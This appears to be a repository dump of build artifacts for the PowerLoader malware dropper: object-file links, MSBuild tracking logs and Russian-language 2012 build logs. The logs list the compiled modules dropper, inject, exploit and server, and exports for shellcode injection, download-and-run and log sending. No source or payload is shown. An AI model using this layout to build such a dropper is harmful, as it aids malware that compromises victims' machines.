https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Release/cfgini.obj -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Release/cl.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Release/cl.command.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Release/cl.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Release/cl.write.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Release/config.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Release/config.obj -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Release/dropper.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Release/dropper.obj -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Release/inject.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Release/inject.obj -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Release/link.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Release/link.command.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Release/link.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Release/link.read.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Release/link.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Release/link.write.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Release/peldr.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Release/peldr.obj -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Release/protect.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Release/protect.obj -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Release/sdropper32.Build.CppClean.log: -------------------------------------------------------------------------------- 1 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj32\Release\CL.1404.read.1.tlog 2 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj32\Release\CL.1404.write.1.tlog 3 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj32\Release\CL.1504.read.1.tlog 4 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj32\Release\CL.1504.write.1.tlog 5 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj32\Release\CL.3052.read.1.tlog 6 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj32\Release\CL.3052.write.1.tlog 7 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj32\Release\CL.4292.read.1.tlog 8 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj32\Release\CL.4292.write.1.tlog 9 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj32\Release\CL.4380.read.1.tlog 10 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj32\Release\CL.4380.write.1.tlog 11 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj32\Release\CL.4484.read.1.tlog 12 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj32\Release\CL.4484.write.1.tlog 13 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj32\Release\CL.5776.read.1.tlog 14 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj32\Release\CL.5776.write.1.tlog 15 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj32\Release\CL.5876.read.1.tlog 16 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj32\Release\CL.5876.write.1.tlog 17 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj32\Release\cl.command.1.tlog 18 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj32\Release\CL.read.1.tlog 19 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj32\Release\cl.write.1.tlog 20 | C:\_WORK\PROJECTS\_POWER_LDR\_TBH\POWER_LDR_SRC\SDROPPER\VCXPROJ32\RELEASE\DROPPER.OBJ 21 | C:\_WORK\PROJECTS\_POWER_LDR\_TBH\POWER_LDR_SRC\SDROPPER\VCXPROJ32\RELEASE\INJECT.OBJ 22 | C:\_WORK\PROJECTS\_POWER_LDR\_TBH\POWER_LDR_SRC\SDROPPER\VCXPROJ32\RELEASE\PELDR.OBJ 23 | C:\_WORK\PROJECTS\_POWER_LDR\_TBH\POWER_LDR_SRC\SDROPPER\VCXPROJ32\RELEASE\PROTECT.OBJ 24 | C:\_WORK\PROJECTS\_POWER_LDR\_TBH\POWER_LDR_SRC\SDROPPER\VCXPROJ32\RELEASE\SECCFG.OBJ 25 | C:\_WORK\PROJECTS\_POWER_LDR\_TBH\POWER_LDR_SRC\SDROPPER\VCXPROJ32\RELEASE\SERVER.OBJ 26 | C:\_WORK\PROJECTS\_POWER_LDR\_TBH\POWER_LDR_SRC\SDROPPER\VCXPROJ32\RELEASE\UTILS.OBJ 27 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj32\Release\vc100.pdb 28 | C:\_WORK\PROJECTS\_POWER_LDR\_TBH\POWER_LDR_SRC\SDROPPER\VCXPROJ32\RELEASE\X64UTILS.OBJ 29 | -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Release/sdropper32.lastbuildstate: -------------------------------------------------------------------------------- 1 | #v4.0:v100 2 | Release|Win32|C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\_vcxproj\| 3 | -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Release/sdropper32.log: -------------------------------------------------------------------------------- 1 | Построение начато 16.10.2012 18:12:19. 2 | 1>Проект "C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj32\sdropper32.vcxproj" в узле 3 (целевые объекты rebuild). 3 | 1>_PrepareForClean: 4 | Файл "Release\sdropper32.lastbuildstate" удаляется. 5 | InitializeBuildStatus: 6 | Обращение к "Release\sdropper32.unsuccessfulbuild". 7 | ClCompile: 8 | c:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\bin\CL.exe /c /I..\..\share /Zi /nologo /W3 /WX- /Ox /Ob1 /Oi /Os /Oy- /GL /D WIN32 /D _WIN32 /D NDEBUG /D _WINDOWS /D _CRT_SECURE_NO_WARNINGS /D _MBCS /Gm- /MT /GS- /Gy /fp:precise /Zc:wchar_t /Zc:forScope /GR- /Fo"Release\\" /Fd"Release\vc100.pdb" /Gz /TP /analyze- /errorReport:prompt ..\..\share\cfgini.cpp ..\..\share\peldr.cpp ..\..\share\seccfg.cpp ..\..\share\utils.cpp ..\..\share\x64utils.cpp ..\config.cpp ..\protect.cpp ..\inject.cpp ..\dropper.cpp ..\server.cpp /MP 9 | cfgini.cpp 10 | peldr.cpp 11 | seccfg.cpp 12 | utils.cpp 13 | x64utils.cpp 14 | config.cpp 15 | protect.cpp 16 | inject.cpp 17 | dropper.cpp 18 | server.cpp 19 | Link: 20 | c:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\bin\link.exe /ERRORREPORT:PROMPT /OUT:"..\..\_out\Release\sdropper32.exe" /INCREMENTAL:NO /NOLOGO ntdll32.lib shlwapi.lib wsock32.lib wininet.lib rpcrt4.lib imagehlp.lib psapi.lib Urlmon.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /MANIFEST:NO /PDB:"C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\_out\Release\sdropper32.pdb" /MAP /MAPINFO:EXPORTS /SUBSYSTEM:WINDOWS /OPT:REF /OPT:ICF /LTCG /TLBID:1 /ENTRY:"Entry" /RELEASE /DYNAMICBASE /FIXED:NO /NXCOMPAT /IMPLIB:"C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\_vcxproj\..\_out\Release\sdropper32.lib" /MACHINE:X86 Release\cfgini.obj 21 | Release\peldr.obj 22 | Release\seccfg.obj 23 | Release\utils.obj 24 | Release\x64utils.obj 25 | Release\config.obj 26 | Release\protect.obj 27 | Release\inject.obj 28 | Release\dropper.obj 29 | Release\server.obj 30 | /export:InjectNormalRoutine 31 | /export:InjectApcRoutine 32 | /export:DownloadRunExeUrl 33 | /export:DownloadRunExeId 34 | /export:DownloadUpdateMain 35 | /export:WriteConfigString 36 | /export:SendLogs 37 | 38 | Создается библиотека C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\_vcxproj\..\_out\Release\sdropper32.lib и объект C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\_vcxproj\..\_out\Release\sdropper32.exp 39 | Создание кода 40 | Создание кода завершено 41 | sdropper32.vcxproj -> C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\_vcxproj\..\_out\Release\sdropper32.exe 42 | FinalizeBuildStatus: 43 | Файл "Release\sdropper32.unsuccessfulbuild" удаляется. 44 | Обращение к "Release\sdropper32.lastbuildstate". 45 | 1>Построение проекта "C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj32\sdropper32.vcxproj" завершено (целевые объекты rebuild). 46 | 47 | Построение успешно завершено. 48 | 49 | Затраченное время: 00:00:02.21 50 | -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Release/sdropper32.write.1.tlog: -------------------------------------------------------------------------------- 1 | ^C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\sdropper\vcxproj32\sdropper32.vcxproj 2 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\_out\Release\sdropper32.lib 3 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\_out\Release\sdropper32.lib 4 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\_out\Release\sdropper32.exp 5 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\_out\Release\sdropper32.exp 6 | -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Release/seccfg.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Release/seccfg.obj -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Release/server.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Release/server.obj -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Release/utils.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Release/utils.obj -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Release/vc100.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Release/vc100.pdb -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Release/x64utils.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Release/x64utils.obj -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/sdropper32.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | share 6 | 7 | 8 | share 9 | 10 | 11 | share 12 | 13 | 14 | share 15 | 16 | 17 | sdropper32 18 | 19 | 20 | sdropper32 21 | 22 | 23 | sdropper32 24 | 25 | 26 | sdropper32 27 | 28 | 29 | sdropper32 30 | 31 | 32 | share 33 | 34 | 35 | 36 | 37 | share 38 | 39 | 40 | share 41 | 42 | 43 | share 44 | 45 | 46 | share 47 | 48 | 49 | sdropper32 50 | 51 | 52 | sdropper32 53 | 54 | 55 | sdropper32 56 | 57 | 58 | sdropper32 59 | 60 | 61 | sdropper32 62 | 63 | 64 | share 65 | 66 | 67 | 68 | 69 | {35cdd56e-f5d4-459a-9cc4-6569faa1d0a0} 70 | 71 | 72 | {e4e4f593-9f29-438f-9ce2-11d1ec411cf3} 73 | 74 | 75 | -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/sdropper32.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Debug/CL.1176.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Debug/CL.1176.read.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Debug/CL.1176.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Debug/CL.1176.write.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Debug/CL.2396.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Debug/CL.2396.read.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Debug/CL.2396.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Debug/CL.2396.write.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Debug/CL.3720.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Debug/CL.3720.read.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Debug/CL.3720.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Debug/CL.3720.write.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Debug/CL.4680.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Debug/CL.4680.read.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Debug/CL.4680.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Debug/CL.4680.write.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Debug/CL.5012.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Debug/CL.5012.read.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Debug/CL.5012.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Debug/CL.5012.write.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Debug/CL.5252.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Debug/CL.5252.read.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Debug/CL.5252.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Debug/CL.5252.write.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Debug/CL.6020.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Debug/CL.6020.read.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Debug/CL.6020.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Debug/CL.6020.write.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Debug/CL.824.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Debug/CL.824.read.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Debug/CL.824.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Debug/CL.824.write.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Debug/CL.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Debug/CL.read.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Debug/cfgini.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Debug/cfgini.obj -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Debug/cl.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Debug/cl.command.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Debug/cl.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Debug/cl.write.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Debug/config.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Debug/config.obj -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Debug/dropper.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Debug/dropper.obj -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Debug/exploit.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Debug/exploit.obj -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Debug/inject.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Debug/inject.obj -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Debug/link.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Debug/link.command.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Debug/link.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Debug/link.read.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Debug/link.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Debug/link.write.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Debug/peldr.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Debug/peldr.obj -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Debug/protect.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj64/Debug/protect.obj -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Debug/sdropper64.Build.CppClean.log: -------------------------------------------------------------------------------- 1 | C:\_WORK\PROJECTS\_POWER_LDR\POWER_LDR\_OUT\DEBUG\SDROPPER64.EXE 2 | C:\_Work\Projects\_power_ldr\power_ldr\_out\Debug\sdropper64.exp 3 | C:\_Work\Projects\_power_ldr\power_ldr\_out\Debug\sdropper64.lib 4 | C:\_WORK\PROJECTS\_POWER_LDR\POWER_LDR\_OUT\DEBUG\SDROPPER64.MAP 5 | C:\_WORK\PROJECTS\_POWER_LDR\POWER_LDR\_OUT\DEBUG\SDROPPER64.PDB 6 | C:\_Work\Projects\_power_ldr\power_ldr\_vcxproj\..\_out\Debug\sdropper64.exe 7 | C:\_Work\Projects\_power_ldr\power_ldr\_vcxproj\..\_out\Debug\sdropper64.pdb 8 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj64\Debug\cfgini.obj 9 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj64\Debug\CL.2092.read.1.tlog 10 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj64\Debug\CL.2092.write.1.tlog 11 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj64\Debug\CL.2320.read.1.tlog 12 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj64\Debug\CL.2320.write.1.tlog 13 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj64\Debug\CL.2748.read.1.tlog 14 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj64\Debug\CL.2748.write.1.tlog 15 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj64\Debug\CL.2952.read.1.tlog 16 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj64\Debug\CL.2952.write.1.tlog 17 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj64\Debug\CL.3880.read.1.tlog 18 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj64\Debug\CL.3880.write.1.tlog 19 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj64\Debug\CL.4472.read.1.tlog 20 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj64\Debug\CL.4472.write.1.tlog 21 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj64\Debug\CL.4664.read.1.tlog 22 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj64\Debug\CL.4664.write.1.tlog 23 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj64\Debug\CL.5996.read.1.tlog 24 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj64\Debug\CL.5996.write.1.tlog 25 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj64\Debug\cl.command.1.tlog 26 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj64\Debug\CL.read.1.tlog 27 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj64\Debug\cl.write.1.tlog 28 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj64\Debug\config.obj 29 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj64\Debug\dropper.obj 30 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj64\Debug\exploit.obj 31 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj64\Debug\inject.obj 32 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj64\Debug\link.command.1.tlog 33 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj64\Debug\link.read.1.tlog 34 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj64\Debug\link.write.1.tlog 35 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj64\Debug\peldr.obj 36 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj64\Debug\protect.obj 37 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj64\Debug\sdropper64.write.1.tlog 38 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj64\Debug\seccfg.obj 39 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj64\Debug\server.obj 40 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj64\Debug\utils.obj 41 | C:\_WORK\PROJECTS\_POWER_LDR\POWER_LDR\SDROPPER\VCXPROJ64\DEBUG\VC100.PDB 42 | -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Debug/sdropper64.lastbuildstate: -------------------------------------------------------------------------------- 1 | #v4.0:v100 2 | Debug|x64|C:\_Work\Projects\_power_ldr\power_ldr\_vcxproj\| 3 | -------------------------------------------------------------------------------- /src/sdropper/vcxproj64/Debug/sdropper64.log: -------------------------------------------------------------------------------- 1 | Построение начато 07.09.2012 20:00:27. 2 | 1>Проект "C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj64\sdropper64.vcxproj" в узле 2 (целевые объекты rebuild). 3 | 1>_PrepareForClean: 4 | Файл "Debug\sdropper64.lastbuildstate" удаляется. 5 | InitializeBuildStatus: 6 | Создание "Debug\sdropper64.unsuccessfulbuild", так как было задано "AlwaysCreate". 7 | ClCompile: 8 | c:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\bin\x86_amd64\CL.exe /c /I..\..\share /Zi /nologo /W3 /WX- /Od /D WIN64 /D _WIN64 /D _DEBUG /D _WINDOWS /D _CRT_SECURE_NO_WARNINGS /D _MBCS /Gm- /MTd /GS- /fp:precise /Zc:wchar_t /Zc:forScope /GR- /Fo"Debug\\" /Fd"Debug\vc100.pdb" /Gz /TP /errorReport:prompt ..\..\share\cfgini.cpp ..\..\share\peldr.cpp ..\..\share\seccfg.cpp ..\..\share\utils.cpp ..\config.cpp ..\dropper.cpp ..\exploit.cpp ..\inject.cpp ..\protect.cpp ..\server.cpp /MP 9 | cfgini.cpp 10 | peldr.cpp 11 | seccfg.cpp 12 | utils.cpp 13 | config.cpp 14 | dropper.cpp 15 | exploit.cpp 16 | inject.cpp 17 | protect.cpp 18 | server.cpp 19 | Link: 20 | c:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\bin\x86_amd64\link.exe /ERRORREPORT:PROMPT /OUT:"..\..\_out\Debug\sdropper64.exe" /INCREMENTAL:NO /NOLOGO ntdll64.lib shlwapi.lib wsock32.lib wininet.lib rpcrt4.lib imagehlp.lib psapi.lib Urlmon.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /MANIFEST:NO /DEBUG /PDB:"C:\_Work\Projects\_power_ldr\power_ldr\_out\Debug\sdropper64.pdb" /MAP /MAPINFO:EXPORTS /ASSEMBLYDEBUG /SUBSYSTEM:WINDOWS /TLBID:1 /ENTRY:"Entry" /DYNAMICBASE /FIXED:NO /NXCOMPAT /IMPLIB:"C:\_Work\Projects\_power_ldr\power_ldr\_vcxproj\..\_out\Debug\sdropper64.lib" /MACHINE:X64 Debug\cfgini.obj 21 | Debug\peldr.obj 22 | Debug\seccfg.obj 23 | Debug\utils.obj 24 | Debug\config.obj 25 | Debug\dropper.obj 26 | Debug\exploit.obj 27 | Debug\inject.obj 28 | Debug\protect.obj 29 | Debug\server.obj /export:InjectedShellCodeStart 30 | /export:InjectedShellCodeEnd 31 | /export:InjectNormalRoutine 32 | /export:InjectApcRoutine 33 | /export:DownloadRunExeUrl 34 | /export:DownloadRunExeId 35 | /export:DownloadUpdateMain 36 | /export:WriteConfigString 37 | /export:SendLogs 38 | 39 | Создается библиотека C:\_Work\Projects\_power_ldr\power_ldr\_vcxproj\..\_out\Debug\sdropper64.lib 